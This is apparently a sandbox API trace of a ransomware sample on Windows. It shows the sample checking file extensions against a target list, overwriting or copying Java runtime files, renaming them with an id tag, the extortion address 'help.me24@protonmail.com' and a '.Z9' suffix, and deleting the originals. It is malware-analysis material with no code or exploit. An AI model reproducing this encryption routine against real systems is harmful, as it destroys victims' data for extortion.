	[0096.613] SetEndOfFile (hFile=0x37c) returned 1
	[0096.614] CloseHandle (hObject=0x37c) returned 1
	[0096.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.615] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1
	[0096.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.615] lstrlenW (lpString=".doc") returned 4
	[0096.615] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0096.615] lstrlenW (lpString=".docx") returned 5
	[0096.615] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1
	[0096.615] lstrlenW (lpString=".pdf") returned 4
	[0096.615] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0096.615] lstrlenW (lpString=".xls") returned 4
	[0096.615] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0096.615] lstrlenW (lpString=".xlsx") returned 5
	[0096.615] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1
	[0096.615] lstrlenW (lpString=".ppt") returned 4
	[0096.615] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0096.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.615] lstrlenW (lpString=".zip") returned 4
	[0096.615] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0096.615] lstrlenW (lpString=".rar") returned 4
	[0096.615] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0096.615] lstrlenW (lpString=".bz2") returned 4
	[0096.615] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0096.615] lstrlenW (lpString=".7z") returned 3
	[0096.616] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0096.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.616] lstrlenW (lpString=".dbf") returned 4
	[0096.616] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0096.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.616] lstrlenW (lpString=".1cd") returned 4
	[0096.616] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0096.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.616] lstrlenW (lpString=".jpg") returned 4
	[0096.616] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0096.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.616] lstrlenW (lpString=".doc") returned 4
	[0096.616] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0096.616] lstrlenW (lpString=".docx") returned 5
	[0096.616] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1
	[0096.616] lstrlenW (lpString=".pdf") returned 4
	[0096.616] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0096.616] lstrlenW (lpString=".xls") returned 4
	[0096.616] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0096.616] lstrlenW (lpString=".xlsx") returned 5
	[0096.616] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1
	[0096.616] lstrlenW (lpString=".ppt") returned 4
	[0096.616] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0096.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.616] lstrlenW (lpString=".zip") returned 4
	[0096.616] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0096.616] lstrlenW (lpString=".rar") returned 4
	[0096.616] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0096.616] lstrlenW (lpString=".bz2") returned 4
	[0096.616] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0096.617] lstrlenW (lpString=".7z") returned 3
	[0096.617] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0096.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.617] lstrlenW (lpString=".dbf") returned 4
	[0096.617] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0096.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.617] lstrlenW (lpString=".1cd") returned 4
	[0096.617] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0096.617] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0096.617] lstrlenW (lpString=".jpg") returned 4
	[0096.617] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0096.618] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0096.619] lstrlenW (lpString="cldrdata.jar") returned 12
	[0096.619] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.619] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3860502) returned 1
	[0096.619] CloseHandle (hObject=0x37c) returned 1
	[0096.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20
	[0096.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0096.620] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.620] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0x0) returned 1
	[0096.620] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0096.620] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f44058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.626] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x13a2b2, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0096.626] ReadFile (in: hFile=0x37c, lpBuffer=0x3f84058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f84058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.670] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.670] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x36e816, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0096.670] ReadFile (in: hFile=0x37c, lpBuffer=0x3fc4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fc4058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0096.813] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.813] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x364fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fca8*=0xc0104, lpOverlapped=0x0) returned 1
	[0096.835] SetEndOfFile (hFile=0x37c) returned 1
	[0096.835] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3ebb008
	[0096.839] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.839] WriteFile (in: hFile=0x37c, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.840] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x13a2b2, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.840] WriteFile (in: hFile=0x37c, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.962] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x36e816, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.962] WriteFile (in: hFile=0x37c, lpBuffer=0x3ebb008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebb008*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.964] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0097.965] CloseHandle (hObject=0x37c) returned 1
	[0097.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0097.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.966] lstrlenW (lpString=".doc") returned 4
	[0097.966] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.966] lstrlenW (lpString=".docx") returned 5
	[0097.966] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0097.966] lstrlenW (lpString=".pdf") returned 4
	[0097.966] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.966] lstrlenW (lpString=".xls") returned 4
	[0097.966] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.966] lstrlenW (lpString=".xlsx") returned 5
	[0097.966] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0097.966] lstrlenW (lpString=".ppt") returned 4
	[0097.966] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.966] lstrlenW (lpString=".zip") returned 4
	[0097.966] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.966] lstrlenW (lpString=".rar") returned 4
	[0097.966] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.966] lstrlenW (lpString=".bz2") returned 4
	[0097.966] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.966] lstrlenW (lpString=".7z") returned 3
	[0097.966] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.966] lstrlenW (lpString=".dbf") returned 4
	[0097.966] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.966] lstrlenW (lpString=".1cd") returned 4
	[0097.966] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.966] lstrlenW (lpString=".jpg") returned 4
	[0097.966] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.967] lstrlenW (lpString=".doc") returned 4
	[0097.967] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0097.967] lstrlenW (lpString=".docx") returned 5
	[0097.967] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0097.967] lstrlenW (lpString=".pdf") returned 4
	[0097.967] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0097.967] lstrlenW (lpString=".xls") returned 4
	[0097.967] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0097.967] lstrlenW (lpString=".xlsx") returned 5
	[0097.967] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0097.967] lstrlenW (lpString=".ppt") returned 4
	[0097.967] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0097.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.967] lstrlenW (lpString=".zip") returned 4
	[0097.967] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0097.967] lstrlenW (lpString=".rar") returned 4
	[0097.967] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0097.967] lstrlenW (lpString=".bz2") returned 4
	[0097.967] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0097.967] lstrlenW (lpString=".7z") returned 3
	[0097.967] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0097.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.967] lstrlenW (lpString=".dbf") returned 4
	[0097.967] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0097.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.967] lstrlenW (lpString=".1cd") returned 4
	[0097.967] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0097.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0097.967] lstrlenW (lpString=".jpg") returned 4
	[0097.967] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0097.967] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0097.967] lstrlenW (lpString="zipfs.jar") returned 9
	[0097.968] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0097.968] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=68924) returned 1
	[0097.968] CloseHandle (hObject=0x37c) returned 1
	[0097.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20
	[0097.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.968] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0097.968] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.969] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0098.011] GetLastError () returned 0x0
	[0098.011] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x10d3c, lpOverlapped=0x0) returned 1
	[0098.013] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x10d40, lpOverlapped=0x0) returned 1
	[0098.015] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.015] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0098.015] SetEndOfFile (hFile=0x320) returned 1
	[0098.015] CloseHandle (hObject=0x320) returned 1
	[0098.015] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.016] SetEndOfFile (hFile=0x37c) returned 1
	[0098.017] CloseHandle (hObject=0x37c) returned 1
	[0098.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0098.017] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1
	[0098.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.017] lstrlenW (lpString=".doc") returned 4
	[0098.017] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0098.017] lstrlenW (lpString=".docx") returned 5
	[0098.017] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0098.017] lstrlenW (lpString=".pdf") returned 4
	[0098.017] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0098.017] lstrlenW (lpString=".xls") returned 4
	[0098.017] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0098.017] lstrlenW (lpString=".xlsx") returned 5
	[0098.017] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0098.018] lstrlenW (lpString=".ppt") returned 4
	[0098.018] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0098.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.018] lstrlenW (lpString=".zip") returned 4
	[0098.018] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0098.018] lstrlenW (lpString=".rar") returned 4
	[0098.018] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0098.018] lstrlenW (lpString=".bz2") returned 4
	[0098.018] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0098.018] lstrlenW (lpString=".7z") returned 3
	[0098.018] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0098.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.018] lstrlenW (lpString=".dbf") returned 4
	[0098.018] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0098.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.018] lstrlenW (lpString=".1cd") returned 4
	[0098.018] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0098.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.018] lstrlenW (lpString=".jpg") returned 4
	[0098.018] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0098.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.018] lstrlenW (lpString=".doc") returned 4
	[0098.018] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0098.018] lstrlenW (lpString=".docx") returned 5
	[0098.018] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0098.018] lstrlenW (lpString=".pdf") returned 4
	[0098.018] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0098.018] lstrlenW (lpString=".xls") returned 4
	[0098.018] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0098.018] lstrlenW (lpString=".xlsx") returned 5
	[0098.018] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0098.018] lstrlenW (lpString=".ppt") returned 4
	[0098.018] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0098.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.019] lstrlenW (lpString=".zip") returned 4
	[0098.019] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0098.019] lstrlenW (lpString=".rar") returned 4
	[0098.019] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0098.019] lstrlenW (lpString=".bz2") returned 4
	[0098.019] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0098.019] lstrlenW (lpString=".7z") returned 3
	[0098.019] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0098.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.019] lstrlenW (lpString=".dbf") returned 4
	[0098.019] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0098.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.019] lstrlenW (lpString=".1cd") returned 4
	[0098.019] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0098.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0098.019] lstrlenW (lpString=".jpg") returned 4
	[0098.019] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0098.019] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0098.019] lstrlenW (lpString="flavormap.properties") returned 20
	[0098.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.020] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3928) returned 1
	[0098.020] CloseHandle (hObject=0x37c) returned 1
	[0098.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20
	[0098.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.020] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.020] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.020] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.020] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0098.021] GetLastError () returned 0x0
